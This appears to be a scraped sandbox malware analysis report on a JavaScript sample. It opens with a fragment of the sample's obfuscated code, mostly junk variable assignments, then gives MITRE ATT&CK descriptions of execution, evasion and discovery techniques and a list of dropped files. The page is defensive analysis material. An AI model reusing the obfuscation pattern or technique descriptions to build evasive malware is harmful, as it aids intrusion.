1528	jyfdmrrfd = "s";
1529	jyfdmrrfd = "I";
1530	jyfdmrrfd = "z";
1531	jyfdmrrfd = "z";
1532	jyfdmrrfd = "S";
1533	jyfdmrrfd = "J";
1534	jyfdmrrfd = "x";
1535	jyfdmrrfd = "Z";
1536	jyfdmrrfd = "f";
1537	jyfdmrrfd = "d";
1538	jyfdmrrfd = "Q";
1539	jyfdmrrfd = "f";
1540	jyfdmrrfd = "M";
1541	jyfdmrrfd = "M";
1542	jyfdmrrfd = "v";
1543	jyfdmrrfd = "Z";
1544	jyfdmrrfd = "L";
1545	jyfdmrrfd = "P";
1546	jyfdmrrfd = "i";
1547	jyfdmrrfd = "T";
1548	jyfdmrrfd = "s";
1549	jyfdmrrfd = "k";
1550	jyfdmrrfd = "d";
1551	jyfdmrrfd = "R";
1552	zbsyrpi = "i";
1553	zbsyrpi = "i";
1554	zbsyrpi = "W";
1555	zbsyrpi = "Q";
1556	zbsyrpi = "z";
1557	zbsyrpi = "A";
1558	zbsyrpi = "X";
1559	zbsyrpi = "O";
1560	zbsyrpi = "G";
1561	zbsyrpi = "n";
1562	gokqlwcmi = "2";
1563	egofaq ( );	egofaq() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 74771923457277117.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\88fd8333-c53f-487c-af4a-805360148f72.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5704

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
74771923457277117.js